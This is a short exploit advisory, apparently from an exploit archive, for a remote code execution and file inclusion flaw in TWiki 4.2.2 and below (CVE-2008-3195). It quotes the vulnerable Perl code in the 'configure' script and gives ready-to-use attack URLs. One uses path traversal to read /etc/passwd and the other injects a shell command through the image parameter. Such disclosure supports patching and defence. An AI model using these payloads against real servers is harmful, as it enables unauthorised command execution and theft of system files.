exploit the possibilities

twiki-exec.txt

twiki-exec.txt
Posted Sep 22, 2008
Authored by webDEViL

TWiki versions 4.2.2 and below suffer from a remote code execution vulnerability.

tags | exploit, remote, code execution
MD5 | 28897e2a05c3f3393a86ef2e20aca504

twiki-exec.txt

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#-----------webDEViL - [ w3bd3vil [at] gmail [dot] com ] -----------#
#-----------TWiki Remote Code Execution <= 4.2.2--------------------#

# ----------developers site: http://www.twiki.org-------------------#
# ----------CVE Id(s) : CVE-2008-3195--------------------------#

# http://twiki.org/cgi-bin/view/Codev/DownloadTWiki#4_2_3_Bugfix_Highlights

The "configure" file in TWiki's bin folder is vulnerable to code execution and local file inclusion.

According to TWiki's documentation this file is meant to be protected with .htaccess, but many a times you find it is not ;)

Vulnerable code:

if( $action eq 'image' ) {
# SMELL: this call is correct, but causes a perl error

# on some versions of CGI.pm
# print $query->header(-type => $query->param('type'));
# So use this instead:
print 'Content-type: '.$query->param('type')."\n\n";

if( open(F, 'logos/'.$query->param('image' ))) {
local $/ = undef;
print <F>;
close(F);
}

http://localhost/twiki/bin/configure?action=image;image=../../../../../../../etc/passwd;type=text/plain

http://localhost/twiki/bin/configure?action=image;image=|uname -a|;type=text/plain


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